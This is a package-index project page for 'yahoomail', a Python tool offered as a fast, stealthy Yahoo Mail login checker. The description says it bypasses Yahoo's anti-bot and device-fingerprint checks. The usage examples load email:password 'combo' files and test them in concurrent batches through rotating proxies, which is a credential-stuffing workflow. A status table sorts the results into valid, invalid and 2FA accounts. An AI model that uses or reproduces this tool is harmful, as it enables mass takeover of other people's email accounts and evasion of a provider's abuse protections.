A high-performance, async Yahoo Mail login automator.
Project description
yahoomail
⚡ A fast and stealthy Python login checker for Yahoo Mail accounts bypasses multi-step login flow, device fingerprint challenges, and delivers accurate status in milliseconds.
🚀 Features
- 🔁 Fully asynchronous (via
httpx.AsyncClient) - 🔍 Fast-path + fallback HTML form parsing
- 🔐 Bypasses Yahoo's anti-bot login system
- 🎯 Precise detection:
SUCCESS,INVALID,2FA,ERROR,UNKNOWN - 🧠 Regex-based turbo form extraction (1-pass)
- 🌐 Proxy support:
http,socks5, with multiple formats - 📡 Optimized headers & fingerprint handling
- 🧪 Debug-ready (optional HTML dumps at every step)
- 📦 Includes batch checker with configurable concurrency
📦 Installation
pip install yahoomail Or clone locally:
git clone https://github.com/anarchy223/yahoomail.git
cd yahoomail
pip install -r requirements.txt
🆕 What's New in v1.1
🛠️ Core Improvements
- Smart Debugging: The
debug=Trueflag now generates a sequential timeline of HTML snapshots (e.g.,user_01_init.html,user_02_post.html) inside adebug/directory. - Sanitization: Usernames are now sanitized before file creation to prevent filesystem errors.
🛡️ Detection Logic
- Wider Coverage: Added support for new Yahoo error codes:
messages.INVALID_USERNAME&doesn't recognize this emailmessages.INVALID_PASSWORDdetection expanded.
⚡ Performance
- Timeout Adjustment: Relaxed HTTP timeouts (
connect=5.0,read=10.0) to reduce false positives with high-latency proxies. - Batch Optimization: Debug mode is automatically disabled in batch operations to prevent disk usage spikes.
⚙️ Usage
✅ Basic login check
from yahoomail import login
email = input("Enter Yahoo email: ")
password = input("Enter password: ")
status, message, duration_ms = login(email, password)
print(f"[{status}] {message} ({duration_ms}ms)")
🌍 Set a proxy
You can use the function: set_proxies("YOUR PROXY") to set a proxy. Here an example:
import asyncio
from yahoomail import set_proxies, run_batch
set_proxies("user:pass@host:port")
def load_combos(file_path):
combos = []
with open(file_path, "r", encoding="utf-8") as f:
for line in f:
line = line.strip()
if not line or ":" not in line:
continue
email, password = line.split(":", 1)
combos.append((email, password))
return combos
creds = load_combos("combo.txt")
results = asyncio.run(run_batch(creds, concurrency=10))
for email, status, message in results:
print(f"{email} → {status}: {message}")
Supports formats :
- user:pass@host:port
- host:port
- host,port,user,pass
- host:port:user:pass
🚀 Batch checking (async)
import asyncio
from yahoomail import run_batch
def load_acc(file_path):
combos = []
with open(file_path, "r", encoding="utf-8") as f:
for line in f:
line = line.strip()
if not line or ":" not in line:
continue
email, password = line.split(":", 1)
combos.append((email, password))
return combos
creds = load_acc("accounts.txt")
results = asyncio.run(run_batch(creds, concurrency=10))
for email, status, message in results:
print(f"{email} → {status}: {message}")
| Code | Meaning |
|---|---|
| SUCCESS | Valid login detected (your accounts is mostly valid!) |
| Invalid | Invalid account |
| 2FA | 2-Factor Authentification (or means other errors) |
| Error | Proxy / network / internal error (Or just Yahoo maybe implemented another level cap of security (ya need to check). |
| Unkown | I fucked up... |
🧰 Advanced
Enable debug HTML saves: Uncomment or modify the global flag in your script:
ENABLE_DEBUG_FILES = True
It will save HTML dumps per stage for inspection (eg: new security...)
🧠 How it works
This module emulates Yahoo Mail login behavior by reproducing:
- Initial tokenized form loads
- Username + password flow separation
- Dynamic fingerprinting step
- Cookie-based login validation
- Full proxy routing with timeout handling
- No Selenium. No headless browser. Just pure, clean HTTP emulation.
📜 License
Creative Commons Attribution-NonCommercial-ShareAlike 4.0 (CC BY-NC-SA 4.0)
- ✅ You can use, study, modify, and share this project.
- ❌ Commercial use (resale, SaaS integration, paid API, etc.) is strictly prohibited.
- 🧠 You must give credit to the original author.
- 🔁 If you modify it, you must release your version under the same license.
🔗 Read the full license terms here
☕ A note
This project was born from one simple idea: "If there's no public API... then I become the API."
Enjoy.
Project details
Download files
Download the file for your platform. If you're not sure which to choose, learn more about installing packages.
Source Distribution
Built Distribution
Filter files by name, interpreter, ABI, and platform.
If you're not sure about the file name format, learn more about wheel file names.
Copy a direct link to the current filters
File details
Details for the file yahoomail-1.1.1.1.tar.gz.
File metadata
- Download URL: yahoomail-1.1.1.1.tar.gz
- Upload date:
- Size: 6.0 kB
- Tags: Source
- Uploaded using Trusted Publishing? No
- Uploaded via: twine/6.2.0 CPython/3.12.2
File hashes
| Algorithm | Hash digest | |
|---|---|---|
| SHA256 |
24e7e0497ba9fe2c386540773dcd688f0520f0396b3db021942c177e9dda29e5
|
|
| MD5 |
91a7a7d50c71f97180da606a58a925cf
|
|
| BLAKE2b-256 |
132c63a804114893d8dde913dffb5c21ae5aa54b5c228fb87222c0682c6eb7a0
|
File details
Details for the file yahoomail-1.1.1.1-py3-none-any.whl.
File metadata
- Download URL: yahoomail-1.1.1.1-py3-none-any.whl
- Upload date:
- Size: 6.0 kB
- Tags: Python 3
- Uploaded using Trusted Publishing? No
- Uploaded via: twine/6.2.0 CPython/3.12.2
File hashes
| Algorithm | Hash digest | |
|---|---|---|
| SHA256 |
2684c57032b06460e75da3d1fa5c77421e027b0669f163c11b17665105be750e
|
|
| MD5 |
85e31f6a9752be5248f596cf0eb90a92
|
|
| BLAKE2b-256 |
c90bab50ac8a4f41230752036e26b40fb50abee3b38946d76aa079ec9176ee1c
|